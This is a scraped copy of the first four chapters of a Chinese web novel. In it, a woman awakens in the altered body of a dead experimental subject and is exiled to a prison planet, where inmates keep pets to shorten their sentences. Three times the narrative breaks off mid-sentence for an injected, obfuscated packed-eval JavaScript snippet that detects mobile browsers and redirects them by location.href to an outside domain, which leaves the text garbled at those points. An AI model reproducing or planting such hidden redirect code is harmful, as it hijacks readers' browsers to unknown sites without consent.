《流放星可以饲养跳蛛吗》 1. 实验体 路麦的意识还非常模糊。 能勉强睁一下眼,看到几个穿着蓝色衣服的身影在附近晃来晃去。 但很快睡意又会席卷而来。 半醒,睡去,半醒,睡去…… 重复了好几次,大脑在这个过程中逐渐活跃起来。 她刚刚接受了一场大手术。现在,麻醉的效果正在慢慢退却。 终于完全地睁开了眼睛,然而出现在头顶上的那张脸让她劫后余生的喜悦大打折扣。 主要是因为那人脸上的神情并不像在观察一个从昏睡中苏醒的病人。 而是像在看一个怪物。 “还活着,678还活着!它睁开眼了!” “别在实验室开蹩脚玩笑,678已确认脑死亡半小时,仪器早就读不出数据了。” “是真的!你看啊!” 于是另一张脸出现在路麦的头顶。 长达一秒的对视。 “去报告博士。”那人冷静地说道。 路麦看着那人的表情,心里凉飕飕的。 但鉴于她确实是醒过来了,因此姑且可以认为,事情没有发展成最糟糕的样子。 至少她还活着。 周围有好几个人正忙着将她的四肢和身体束缚住。 有人往她头上套了一个金属网罩,接着,身下的病床被竖了起来。 一个穿着白色大褂的中年男人出现在她的眼前。他看起来五十岁上下,灰白头发,又瘦又高,东欧长相,眼眶很深,面色阴沉,一看就是不好惹的人。 “活过了172号实验,命硬的家伙。”他的语气充满讥讽,以及一丝难掩的意外。 路麦不明所以,在遮住她整张脸的金属栅格后眨了眨眼,清了清嗓,迟疑地问道:“手术……成功了吗?” 从她口中发出的是令人感到陌生的声音。 不知道这种陌生感是源于听觉尚未完全复苏,还是因为声带仍处于部分麻痹的状态。 麻醉药效衰退的速度似乎正在加快,无法确定源头的疼痛迅速向肢端蔓延。 不安伴随着疼痛一并延展。 身穿手术衣的人走上前来,麻利地往她身上贴了几片电极。 伴随“滴——”的一声,手术室内的测量机器开始运作。 “博士,生理指标都在正常区间,而且——” “没有表现出攻击倾向。”白大褂接话道,“送去做一个脑检。” 很快,路麦就被转移到了另一个房间,在被送入检测仪器前,她很想再次询问手术情况,但穿着蓝色衣服的人用什么东西封住了她的嘴。 挣扎太耗力气,而她暂时还不具备反抗的体能。 这里似乎不是她之前做手术的医院,这里没有一张脸孔是她熟悉的,她的患者代号也绝对不是678。 “……数字、语言、逻辑区块活跃水平大幅下降,暴力冲动和破坏倾向完全消失,敌对情绪基本消失……现在的678,几乎可视为一个安全的人类。但是就这么处理掉的话,好像有点可惜。” 处理掉? “暂时没有更多实验计划。” 实验? “还是送到老地方去吧?” 哪里? “好。” 不管路麦有几头雾水,她的去向已经被定了下来。 …… “恭喜你,实验体678号,没想到居然能看到你活着离开研究所的样子。你可以拥有一个身份了,给自己起个像样点的名字吧。” 负责办理“出院手续”的是一位面相和善的女士。 路麦浑浑噩噩地报上了自己的真名。 “麦子是一种雌雄同株的植物……”女士若有所思且意味深长地说道。 OMG。这简直是路麦今年听过的最无聊的冷笑话。 几刻钟前,她被允许回到“自己的房间”更换服装、收拾行李,于是趁机检查了一下自己的身体。 房间里没有镜子,没有反光的平面,没法看到脸和完整的后背,但能够看到的部分足以让她的心情跌落谷底。 好消息,后腰没有肾脏摘除手术的痕迹。 坏消息……这、这并不是她的身体。 结合刚才的所见所闻,她判断自己的灵魂,或是意识——怎么称呼都行——穿越到了一具已经死亡超过半小时的尸体上。 她在脱下衣服之前就隐约意识到这一点了,只是对这个事实有些抗拒。 她虽然看不见自己的脸,但是可以看见手、看见头发、看见身体。 由于过分骨感而显得病态的手。 仿佛从出生到现在从来没见过太阳似的,像被漂白水泡过一样惨白。 她接受的是开颅手术,术前头发就被剃了个精光,但现在,黑色长发垂落胸前。 干枯、粗糙、杂乱,像两条破布一样挂在她身上。 体型纤长,脂肪很薄,四肢和躯干上能清晰地看到肌肉的形状。 本该进行手术的部位大大小小排布了十数道伤疤。 另外——没有性征。 这是一具没有性征的身体。 摸不到明显突起的喉结。胸部平坦。本该长着什么东西的地方只有前后两个用于排泄的出口。 既不是男性,也算不上女性。 从皮肤上的增生疤痕可以初步判断,这并不是一具天生无性别的身体,而是大概率被人为改造成这样的。 真是意义不明的改造。够恶心、够变态。而这具身体原本的主人也真是够可怜、够悲惨的。 随后,路麦将注意力转移到身体之外的地方——她所处的房间。 房间里东西很少,仅有一张床,一个衣柜,一套桌椅。 写字桌上放着一册用过的线圈本,里面是能够读懂的文字。 米黄色的纸张上,尖锐的笔画如发狂似的乱舞: 有朝一日,我要将你施加于我的痛苦加倍奉还 ……唐古拉斯,我诅咒你 不得好死 不得好死 不得好死 不得好死 …… 泄恨般的文字。缺乏理性。像是某种刚刚获得智慧的野兽在临摹人类的文明。 路麦在字里行间看到的是那个被称为“博士”的中年男人的身影。 写下这些诅咒的人已经不得好死,而被诅咒的对象依然好好活着。 她还记得那个男人在自己面前露出的表情。 那种斜乜着卑贱之物的神态,观察虫豸般的表情。 那表情毫无疑问在表明,678和那些量产的白鼠没有两样,不过是一件实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544247|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验道具,绝不是和他拥有同等权利的人类。 172,是他对这具身体施加酷刑的次数。 第172号实验是他对这具实验体的物尽其用。 路麦可以“带着”这具实验体离开这个危险的地方,但并不意味她获得了自由。他们会继续监视着她。 如果有需要,他们会再次将她带回这里,把她捆绑在试验台上,就像她刚刚醒来时那样。 在离开房间前,路麦拆下了线圈本中被涂抹过的纸张,并将它们撕碎,冲进了卫生间的下水道。 “好的,路麦同志,现在来确认一下你的性别。由于你的初始性别是男性,如果没有异议的话,我将为你申报男性身份。”办事员柔声说道。 初始性别是男性吗…… 路麦有些膈应地皱了皱眉,深吸一口气:“麻烦你帮我申报为女性。” 那个“他”已经死了,想必对她的这个决定也无法进行反驳。 办事员不解地眨了两下眼睛,那样子看起来甚至有几分俏皮。 她对实验体的决定感到好奇,不过并未出言干涉:“好的,女性。” 做完身份登记后,路麦在工作人员的陪同、确切地说是押送下,登入了写有“空间门”字样的设施,并在体感的半个钟头后,抵达了一个标记为N21的地方。 这一切都在表明,这里不是她曾经生活的世界。 空间门不是一个名称具有科幻色彩的大型玩具,而是可以便利实现星际穿越的传送设备。 单从这一点可以推断,这要么是未来,要么是平行时空的未来——总之,她大概率没可能在这个世界找回她熟悉的那种平淡生活。 负责押送的工作人员在把她送到一条通道的入口后便风一般地退场。 他无需担心囚徒的逃脱,因为这条通道只有出入口可以通行。 路麦别无选择地向前走。这条单调而封闭的通道让人感到很不舒服。她不安地左右变换视角,在通道左侧那洁白无瑕的墙面上看到了一粒黑点。 那黑点很小,却在单色背景的衬托下显得格外抢眼。 八条腿的节肢生物。 一只蜘蛛。 它安静地趴在墙上,对称镶嵌在头部的八只眼睛正默默注视着通道中的行人。 路麦发誓,它在盯着她,以捕食者打量猎物的眼神。 哪怕从常识来讲,这种体型的蜘蛛,哪怕有毒,也难以一口气制造出置人于死地的毒液,但考虑到这里是“异世界”,就必须做好常识并不通用的心理准备。 没准这个世界进化出了剧毒无比、以人为食的蜘蛛,又或者其实蜘蛛正是这个世界的灵长……一切皆有可能。 路麦决定战术回避! 她不动声色地靠近右侧墙壁,密切关注蜘蛛的动向,然后迅速从那片危险的区域通过。 在巨大的体型差面前,她不认为蜘蛛在绝对速度上能快过自己,因此在拉开一个相对安全的距离之后,她就收回了对峙的视线,以免忽视来自其他方向的危险。 七步,八步,九步……回头。 身后是一片雪白的无瑕空间。没有那粒黑点,没有那只蜘蛛。刚才看到的事物仿佛只是一场幻觉。 路麦愣了一会儿,轻轻摇了摇头,这才迈着不安地脚步继续向前走去。 2. 美人 通道的出口没有接引人,但只标明了一条能够通行的路,路麦沿着指示,抵达了挂有“检疫中心”标牌的房间。 她在这里终于又见到了一名人类,一名身穿号服、手边码着医疗器具的人类女性。 结合该场所的名称,路麦可以想到女性手中那瓶无色透明的液体将在几分钟后被输入自己的身体。 应该是疫苗之类的东西吧。 这样想着,女性已经拆开一套新的针筒,并将针头组装好,然后戳破橡胶瓶塞,从里面汲出液体,最后压了一下活塞,推出空气。 “很快的。”她说。 路麦无奈地走上前去,将手腕放在软垫上。 那一截露出的皮肤上有不少扭曲的痕迹,看到这一切的女性露出了同情的表情,但也是仅此而已。她熟练地找到静脉,如承诺的那样及快速地完成了疫苗的注射。 在针管中的最后一滴液体也被挤进这具身体的时候,女性的表情突然变了一下。 “你不是——” 路麦问:“不是什么?” “没什么。”女性操纵着面部肌肉,将它们组装成温和的形状,接着飞快将针头拔出,连同针筒一起扔到了一旁的垃圾桶里。 路麦敏锐地发现垃圾桶里还有另一套已被使用过的针具。 女性退了一步,遮挡住她的视线。“夜已经深了,祝你有个好梦。” 实在可疑。 * N21是一颗光线昏暗、大气沉重、温度偏低的星球。 一片透露着惨淡和绝望气息的缺乏生机的流放地。 路麦在夜风肆虐中被带到了一处设施。 “这儿就是你的房间。先在终端上确认一下注意事项。好好努力吧,服刑者OA7W。” 负责管理流放星居民的工作人员往她手上套了一只手环,又塞给她一只装着日用品的帆布袋。 路麦打开袋子朝里面看了一眼,抬头问道:“今天这里来了多少人?” 工作人员奇怪地看了她一眼:“就你一个。” 接着,像是为了防止再被提问似的,他迅速从外面锁上了房门,脚步匆匆地离开了。 独房的面积不大,但居住条件倒是肯定超过监狱的平均水准。 单人单间的十平米,一张单人床,一套书桌,桌上摆着一些文具,一间独立卫浴,虽然被子有股淡淡的馊味儿,但房间整体弄得相当干净,不考虑人身自由的话,住在这里没准比住一些廉价的老破旅馆房还舒适多了。 书桌上方的墙上挂着一册日历,路麦扫了一眼,一二三四五六七……居然和地球的日历一样,一年十二个月,每个月四到五周,一周七天。 从历法的起源来看,这是件相当不可思议的事情,要么是因为这颗星球的自转公转周期和地球差不多,要么是因为这个世界承袭了地球的文明。 路麦看了一眼终端上显示的日期:六月十四日。日历的第一页就是六月,这说明直到不久之前这里还住着另一名犯人。 六月十四日,这一天的格子里空空如也,倒是边上那一格被黑色水笔重重圈了起来,圈里写着几个丑得很有风格的字符。 六月十五日,宠物博览会~~~ 写下这几个字的人在最后用上了三个圆润的波浪号,让人有些摸不着头脑。 看样子他或是她相当期待这一天的到来。 既然他或者她现在已经不住在这里,那八成就是出狱了,明天一定会高高兴兴去参加这个博览会吧? 路麦对养宠物没什么兴趣,当然也就对宠物博览会什么的不感冒,不过还是替那个人高兴了一下。 她又翻了一下书桌上的几个本子,都是空的,没法获取信息,不过还有使用价值,于是叠在一起,放到书桌的一角。 这时候,终端震动了两下。 嗯,和智能手表收到消息时的反应一模一样。搞不好这玩意儿本身就和智能手表大差不差。 路麦抬起手腕,看了一眼新跳出来的消息,好像是她在这里的身份卡。 服刑者编号:OA7W 剩余刑期:1000000年 后面还有性别年龄身高体重云云,不过她已经没心情关心了。 她用大拇指的指甲抵着屏幕,一个个地数着那串数字的位数。个十百千万十万百万…… 刑期,一百万年? 靠,这里的人都是长生不死的怪物还是说这里的年份换算和她认知里的不一样? 她抬头看到那张日历,大脑陷入宕机状态。 和地球历法相同纪年方式下的一百万年。她要在这里蹲一百万年号子?有这时间她都渡劫飞升大圆满了好吧! 震惊劲儿还没过,第二条消息就自动覆盖了她的身份卡。 《服刑者须知》 看起来就像登录各种APP时要勾选的《用户须知》啦《隐私条例》啦一类的东西。对此类文件,路麦向来不甚重视,但这会儿却没有服从本能,而是破天荒地仔细读了起来。 过去她看都不看全点同意那都是被和谐社会保护得太好了,现在再手快,搞不好到头来怎么死的都不知道。 须知的开头简要地介绍了一下N21的概况。 在这个世界中,人类的足迹分布于好几个星球,而这个编号N21的星球是专门收容犯罪者的流放地。每个被送到这里的人都会背负一百万年的初始刑期,并根据罪行轻重获得一个初始减刑系数。劳动、战斗、科研等等能够为社会做出贡献的行为是减刑的标准。 等到刑期减至零,就可以离开这里,回到被星际社会认可的主要星球生活。 接下去是具体的减刑方式,但只有一个纲要,每个小标题下都有一行灰色的小字:该条目详情将会在服刑者登录满24小时后开放,敬请期待。 期待你个鬼啊! 值得关注的是规则部分,除了笼统的要遵守管理局的安排之外,还有一条要特别注意的:禁止向其他服刑者透露真实姓名,如交流中有需求,请以代号相称。 结果以为要研究半天的须知其实只花了十分钟不到就看完了。刚看到最后一个句号,新的消息又覆盖了上来。 《关于6月15日N21举行宠物博览会的通知》 内含时间地点活动内容三要素,看完只需几秒钟。但就在这几秒钟后,路麦再次陷入沉思,然后猛地抬头,看向墙壁上的挂历。 等等,宠物博览会就是在这鬼地方举办的?挂历上那行包含期待的小字不是他或者她出狱后的展望? 之前住在这间独房的犯人正期待参观明天举办的博览会,但不知道出于什么原因,他或者她搬走了。 呃,说不定是住到条件更好的地方去了,而不是…… 路麦尽量不把事情往坏的方面去想。 时间已经不早了,还是先洗洗睡吧。既来之则安之。不然还能怎么样呢?! 刚从座位上站起来,房间里的照明系统啪的一声结束工作,陷入休眠,天花板的中央传来一阵摇篮曲一样让人起鸡皮疙瘩的曲子。终端接收到新消息,打开一看:“亲爱的,该睡了。” 前面还有一条,收信时间是几分钟前,估计她在阅读《须知》的时候发来的,内容是:“亲爱的,你终于来了。” 路麦感到一阵恶心。 思来想去还是没有选择硬着头皮摸黑洗澡,就这么脱了鞋子裹着衣服上了床。 不出几分钟,皮肤出现大面积的瘙痒和刺痛。可能是因为被子发霉了。 似乎有什么东西匍匐在后颈。 路麦把那种异物感同样归于过敏反应,只是伸手轻轻挠了一下,酥麻感从后颈的发际线扩散到了整个后脑勺。 她不愿考虑被子里有虫这种可能性。 随着皮肤过敏悄然缓解,睡意袭来得比想象中要早很多,但睡眠迟迟没有进入更深的层次,路麦始终能意识到自己在做梦。 梦境的背景很模糊,像是晴空下的海边沙滩,又像是被阳光照得发亮的云间,粼粼的闪光让一切看起来都在跳动一般。是那种很适合一边奔跑一般大喊“青春”的美丽景色。 只不过色调并非夕阳罢了。 她就站在这样一片飘忽不定的景象之中,眺望着或许并不存在的“对面”,过了不知道多久,她突然发现身边不远处竟站着一个人。 当她转过头去的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544248|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个人正望向前方。他有着流畅的侧脸线条,和那种好少年的干净短发,以及匀称健硕的身体和健康光亮的肤色。远处的光线照在他的额头上,让那一处的皮肤看起来洁白而柔软。 在模糊的背景中,轮廓显得格外清晰。 是军人吧? 路麦莫名想到。 她试着唤了一声。没有声音传出,只能感觉到嘴唇的开合和喉咙的振动。她也不知道自己究竟说了什么。 那个人于是转头看她,在不真实的光线中,对她露出了温柔又爽朗的笑容。 那是一个很有安全感的笑容。 那景象美好得耀眼,但又亲切得让人移不开目光。就像在充斥着生人的聚会上,人人追捧的交际花愿意和你一起窝在角落,说一些无所谓的笑话,陪你打发时间一样。这是一种殊荣,一种偏宠,谁会不心动呢? 不过路麦还不至于神魂颠倒,她担心美男一开口就是:“你好宿主,我是系统9527。” 毕竟她不觉得自己心大到刚被关进异世界的号子就能梦见和陌生的美男子这样那样。 就在这时候,身体的某处毫无征兆地震颤起来。 她唰地睁开眼睛。 腕带式终端正孜孜不倦地发出剧烈震动,催促服刑者赶紧起床。 与此同时,房间外面传来广播的声音:“请各位服刑者在六点之前确认今日的活动方针。幸福用劳动创造,自由用双手争取。请各位……” 现在是早上五点,距离截止还有整整一个小时。 还早啊。晨间洗漱,再怎么拖拉,十分钟也够用了。 于是路麦没理会那叭叭个不停地广播,又一头栽回床上。 终端愈发剧烈地震动起来,毫无感情的机械音缓缓流淌。 “因违反服刑规定,刑期延长一百年。” 以为这样就能吓到我了?Tooyoungtoonaive. 路麦眯着眼睛,在心里咒骂了一句,但完全没有起床的意思。和一百万年比起来,一百年根本微不足道。 “因违反服刑规定,刑期延长一百年。”机械音再次响起。 同时,智能终端开始放电。 路麦一下子从床上跳了起来。 这是侵犯人权啊人权!真不知道该跟谁说理去。 逼仄的卫生间不仅五脏俱全而且干湿分离。毛巾和洗漱用品都是新换的。 搞了半天那床发馊的被子竟是唯一值得诟病的地方。 路麦在刷牙的时候终于看见了自己的脸。 说实话,在照镜子的时候看到一张不属于自己的脸是一件奇怪的事,让她觉得眼下发生的一切仍像是在做梦。她只是梦见了一个陌生人的经历,不小心跌进了其荒诞诡谲的人生片段。 她能理解那些知情与不知情的人为何没有对她登记为女性一事发表异议——除了一具没有性征的身体,她还有一张中性化的脸,这让她无论选择何种性别都有其合理性。 面部线条分明,但没有过于突出的棱角。 薄得几乎可以用锋利形容的嘴唇,挺拔而秀气的鼻子,眼珠黑白分明,眼尾微微下垂,面无表情时自带三分忧郁和七分冷峻。 嗯,好像有一点点眼熟。 但如果真的在哪里见过,应该没理由忘掉。 其实仔细看的话,五官的形状大体上和她自己那张脸没有太大的区别,但在细节上又有些许调整,比如说眉骨更挺那么一点、眼眶更深那么一点、鼻梁更高那么一点、鼻尖更翘那么一点……还有头发浓密那么一点、皮肤白那么一点、下颌窄那么一点。 每个地方都是一点点变化,而这一点点的累加,最终让她那张无功无过的平凡的脸变成了一张做男做女都精彩的百分百大美人的脸。和她那张妈生脸完全不在一个level、一个次元的脸。 长相这种东西,就是这么微妙。 回过神来,意识到这张老天追着喂饭的脸居然长在自己脑袋上,又让人莫名感到一阵悚然,以至于不敢多看。 真怕多看几眼就要爱自己爱得无法自拔了。 无缘无故得到了太好的东西,不免叫人担心日后将要为此付出的代价。 3. 亵渎 洗漱完,距离六点还有五十分钟。按照广播内容,乖乖坐到书桌前确认今日活动方针。 6月15日,宠物博览会。 N21再怎么偏僻,好歹也是一整颗星球,哪怕只有月球那么大,绕行一周也是很花时间的,因此博览会的场馆并不局限一处,为的就是照顾所有参展人员。 从立体的地图模型来看,“全球”范围内一共有255个场馆,离这里最近的一个在两公里开外,倒不是太远,而且每个片区都有固定路线的接驳车,免费接送参展人员。待遇这么好,简直让人怀疑这里到底是不是一个流放地。 不过也是,再怎么被当成监狱,这地方终究是一颗星球,但是为了防止犯人脱逃,和外界的来往并不密切,经济主要以星球内循环为主,有完整的第一、第二、第三产业链,只是被关押在这里的服刑犯相对来说少了一点人身自由。 比如每天晚上到点就要熄灯睡觉,睡眠期间房门上锁不得外出,每天早上就算没什么事情也必须按时起床,否则就会遭受电击,除了特定活动日之外,每天都必须进行劳动,没有双休日…… 好吧,路麦心情复杂地发现其实刨去电击和门禁之外,这里的生活节奏和她之前的也没太大区别。上班就是坐牢啊…… 距离六点还有一刻钟。 房门处传来一阵响动,路麦转头一看,一个包裹从门上的一扇小窗掉了进来,接着那扇小窗就又关上了。 打开包裹,两套号服,一套外出用的,一套居家用的;一套被单;一支口服液一样的瓶子,上面印着“营养液”三个字,标签上还有“OA7W早”几个小的手写字——敢情这玩意儿就是早饭,能吃饱肚子吗? 路麦把别的东西先在床上搁着,拿吸管戳开瓶子上的软塞,几秒功夫就把里面的液体吸得一干二净,之后她就开始庆幸这东西只有这么一小支。跟做肠镜前灌的那种药一样的难喝玩意儿,多喝一口都是对她舌头的不尊重。 吃完早饭,开始换衣服,不过是从实验室穿出来的病号服换成流放地的号服。衣服竟相当合身,不会是夜班的服刑犯连夜踩缝纫机做出来的吧?连号服都是定制的,足见这地方再差劲也差劲不到哪里去呗。 一刻钟很快就过去了,六点一到,房门发出解锁的声音,各种开门的动静从附近传来,看来街坊邻居也都出动了。 路麦推开门,来到室外。 这片区域虽然迎来了白天,但外面的光线依然晦暗不明,一切看上去都灰蒙蒙的。 看起来,这应该是一条街区,前前后后排布着数条长方形的建筑,这些长方形建筑的宽和高都不突出,惟独长度惊人,被分隔成一间一间宽度看起来只有二米的独房。 路麦的住处就是这众多独房中的一间,门牌号是OA7W,这个代码在她的终端上也有显示。 此时,不计其数的服刑者正走出各自的独房,三三两两地碰头,然后朝着某个方向前进,边走边聊,也有不少自顾自的独行侠,但也是顺着人潮行走,应该都是要去博览会场馆的。 没看出来这还是个强制参加的活动。只是不知道如果缺席会有什么后果。 街上的人流越来越密集。 所有人都穿着号服,号服有两种款式,一种是竖条纹,一种是横条纹。穿前一种的都是女人,穿后一种的则都是男人。路麦穿的当然是竖条纹。 路上的行人简直可以用各种各样来形容:畸形的人,残缺的人,不知可否被称为人的人…… 其中有一些很难分辨是天生如此,还是后天形成的,另一些则很明显,是被认为改造成那样的,在灰色的背景中,显得有几分渗人。 一个只剩下头部还是正常生体的服刑者从路麦身旁经过,他用特殊材料做成的手臂蹭到了路麦的肩膀。那是一种具有皮肤般柔软触感的材料,但是没有温度,让人想到死猪的皮。 不知是出于何种原因,那具身体没有尽可能按照真人仿制,而是做成了一种让人感到不适的样子——上半身在肋骨下缘戛然而止,本该是腹部的地方只剩下发挥着脊椎作用的支架与下半身相连。 也许是因为他不再需要进食,又或许是为了节约材料…… 他似乎发现了路麦的视线,回过头看了她一眼。 那眼神和制成他身体外壳的材料一样,是活人的眼神,却没有温度。 他盯着路麦的样子,就像一台要将她列入目标名单的暗杀机器。 路麦后脑勺发紧,赶紧低下头查看起终端。 面板上提示了一副地图,地图上标记了路线,其中一端是个圆圈,另一端是个星号,就是距离这里最近的博览会场馆的所在。 博览会现场人头攒动,远远望去乌压压的一片,令人欣慰的是大家的精神头看起来都不错,鲜少有那种被迫社交的局促感,有不少人都在谈论宠物的事,这令路麦感到有些意外。 拜托,咱们是在这儿坐牢好吧?管好自己就差不多了,还养宠物呢?饲料、排泄物、活动空间、陪伴,哪一项看起来都问题多多,真养起来,有够你们受的。 入场的队伍排得很长,在场馆外面绕了九曲十八弯,有序地龟速移动着。 路麦无所事事地在队列中等着入场,看到了不少和自己一样无所事事的人,突然和其中一个对上眼,对方愣了一下,然后指着她的鼻子叫了起来:“哦,你是昨天新来的那个亵渎犯!” 看他样子似乎还对自己精准的眼力洋洋自得哩。 路麦连个眼神都没给他。 但亵渎犯是什么东西? 但是周围的人听到那一嗓子,注意力全都集中到她身上,不多时就开始指指点点加窃窃私语,搞得她好不自在又莫名其妙。 她不理会那些人,顾自摆弄终端,然后屏幕一亮,那张身份卡赫然就在桌面: 服刑者编号:OA7W 剩余刑期:1000000年 罪行:亵渎 靠靠靠靠靠靠! 她“亵渎”什么了? 她明明是被不良学者做实验弄死了丢到这里来的好不好? 很快,她想通了,进N21得先有一个罪名,而“当实验体的时候被弄死了”并不是一个罪名。 可能是这个“亵渎罪”比较好捏造吧。 路麦抬头望天,无语至极。 周围的议论声不受控制地飘进她的耳朵。 “模样挺高冷的,性子就不知道了。” “长得倒是没话说,那小脸蛋,啧——” “也不能怪人家军属不坚定啊,这谁受得了?” 有个人开始卖弄起自己的推理能力:“既然这人是女的,跟她搞外遇的就是男军属,那受害者就是女军官,已婚的女军官就那么几个。嗯——我脑子里已经有苦主候选人了……” “你几几年进来的?我跟你说,现在的女军官可不少。” “搞不好人家是同性恋呢……” 等等等等…… 路麦听出点苗头来了。 这种事摆在她的认知里,有个更通俗的名称:通奸。 不会吧。要是搞外遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544249|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要蹲一百万年大牢的话,上哪找那么多八卦新闻给人民群众添乐子? 但如果把关于军属的部分讨论也考虑进来,就不好说了,这可是破坏军婚罪。 问题是……她只是个弱小可怜又无助的——实验体,上哪找人合伙“亵渎”? 哎,越说越离谱。随便说去吧。就当给你们无聊的日子增添点佐料好了。 路麦抱着被人说几句也没损失的想法,昂首挺胸,一脸正义凛然地站在那儿。她身正不怕影子斜呢。让那些人看看她这由社会主义核心价值观浇灌起来的正直意志,谣言定会不攻自破! “装。”有人这样评价道。 去…… 话说她被丢到这里还不到24小时,这些人又是怎么认出她来的?难道这地方还有新人入群的群发通知? 等她后来真的收到了一条这样的消息时,她就会知道事实正是如此。推送消息和她看到的身份卡不一样,“新人”的部分信息会被隐藏,取而代之的是清晰的正面和两侧面的照片,以及明晃晃的罪行。 有人拍了拍她的肩膀。 回头,看到的是一个胖子,一个没人能否定他是胖子的胖子。好消息是这个胖子看起来很整洁,甚至有些文气。因为脂肪的填充而显得十分舒展的皮肤让人很难从外观判断他的年龄。 总之是个面善的人——这种面善的感官很可能来源于他身上的一切都很圆润。 不密不疏的眉毛呈现出圆角矩形的轮廓,两只眼睛又小又圆,经典的蒜头鼻,因为两颊脂肪挤压而显得十分饱满的嘟嘟嘴。 在黄种人中绝对算是偏白的肤色,略微自然卷的短发。 尤其圆润的当属由于肥满而导致的视觉效果上的溜肩。但论体型,看上去和《哆啦A梦》中的胖虎颇有相似之处。 “你好。”胖子说。 看到路麦一脸警惕地表情,他又连忙补充了一句:“我的编号是OA7V,你的邻居。这里的人就是这样,你别太介意。” 路麦猜想他应该没有说谎。她的编号是OA7W。W在字母表上就是V的后一位。 不过这也间接证明了一件事,她的情报确实被部分公开了。 这还真是一个见鬼的规则。 “癞蛤蟆想吃天鹅肉了!”有人起哄道。 于是周围又响起一片嘘声。 路麦无视那些冷嘲热讽,对胖子点了点头,然后她就看到了胖子怀里抱着的东西。 一开始她以为那是一只猫,因为那东西看起来毛茸茸的,又瘦又小。不过随即她就意识到,之所以觉得那东西瘦小,完全是因为胖子的体型太大。 “这是我的宠物,它叫琪琪,是只小山羊。”胖子注意到她的视线,贴心地介绍起来,“今天是博览会,我看看有没有适合它的东西。” 宠物博览会不仅有宠物展出,还有各种参展厂商推出的宠物用品促销和推广活动。 “哦,我只是被迫来凑热闹的。”路麦说。 如果不是终端已经规定了今天的活动方针,她一个没有宠物也不打算饲养宠物的囚徒犯不着来逛这个劳什子的博览会,她宁可留在宿舍处理一下她那条味道不佳的被子。 “你可以看看有没有中意的宠物,饲养宠物对减刑很有帮助。下半年还会举办宠物嘉年华,在嘉年华上获奖的饲主最高可以获得二十万年的减刑呢。”胖子已经在不知不觉间从路麦的身后挤到身旁,大有将她当成逛展搭子的意思。 路麦对宠物没兴趣,但是对减刑有,总不能一辈子待在这里当苦力。 4. 博览会 “我才刚来,不懂这些。饲养宠物有哪些好处?” 胖子对这个话题很有激情,立刻滔滔不绝地解说起来:“首先,宠物能够缓解长期服刑所产生的精神压力,也就是说,它们能带来情绪价值。 “这对服刑者来说很重要,就我所知,这里每年都会产生好几个疯子,其中非饲主的比例远远大于饲主。 “其次,饲养宠物能够大幅提高减刑系数,减刑系数越高,通过劳动获得的减刑年限就越长,系数1.2和系数1.5同样参加基础减刑100年的劳动,最后的减刑结果会相差30年。” 这样路麦就充分意识到饲养宠物的优越性了。 哪怕不是出于“喜爱”,光是冲着这份利害关系,她都得硬着头皮搞一只宠物。 世界上要是有不用喂食无需排泄不产生噪音不占据空间不索求陪伴不乱折腾、呼之即来挥之即去的宠物就好了。 “我能找一块石头当宠物吗?”路麦问。 胖子像个拨浪鼓一样地摇头:“管理局对可饲养宠物的种类是有规定的,没有被清单包含在内的宠物,就算你养了也没法提升系数。” 路麦打了个哈欠。 琪琪从胖子怀里抬起头看了她一眼。 于是路麦和一只如同大号一字型螺丝帽的眼睛对上了视线,那眼睛外部被厚薄适中的眼睑包裹,而那眼睑上长着浓密纤长的睫毛。那确实是一只羊的眼睛。 “挺可爱的。我可以摸一下吗?”路麦问。 胖子顿时眉开眼笑,原本就不大的眼睛此时已被挤成了两条缝,“当然当然。” 路麦伸手摸了摸琪琪的后脑,松软的羊毛在她指尖蹿动着。小山羊配合地摇了摇脑袋,用那颗圆润的后脑勺蹭了蹭她的掌心。 总觉得有些不对劲。 就在这时候,胖子开口了:“琪琪是一只电子山羊。” 路麦恍然大悟:“我就说……” 胖子问:“你看出来了?我以为它的仿生度已经天衣无缝了。” 路麦说:“它的体温不像哺乳动物。” 不过也就只有这一个破绽了。 胖子点点头:“哦,这个没办法。维持正常体温比较消耗能量,所以厂家一般建议把电子兽的体温设定在20度上下。” 路麦问:“电子宠物也能帮饲主提升系数?它们需要吃喝拉撒睡吗?” 胖子答:“设定上是可以的,不过你可以根据需求关闭或开启。电子兽的饲料是数字食物,排泄物是数字废料,总的来说比原始兽省事很多。” 路麦意识到电子兽是个好东西,它们可以像石头一样不吃不拉不吵不闹,还能提供石头提供不了的安抚作用。 队伍移动间,两人已经来到了场馆入口,通过闸机的时候,终端震动,一份观展手册被自动下载到了桌面上,路麦眯着眼睛阅读上面的文字,余光瞄到胖子的面前展开了一副虚拟屏幕,屏幕上投映的正是手册的内容。 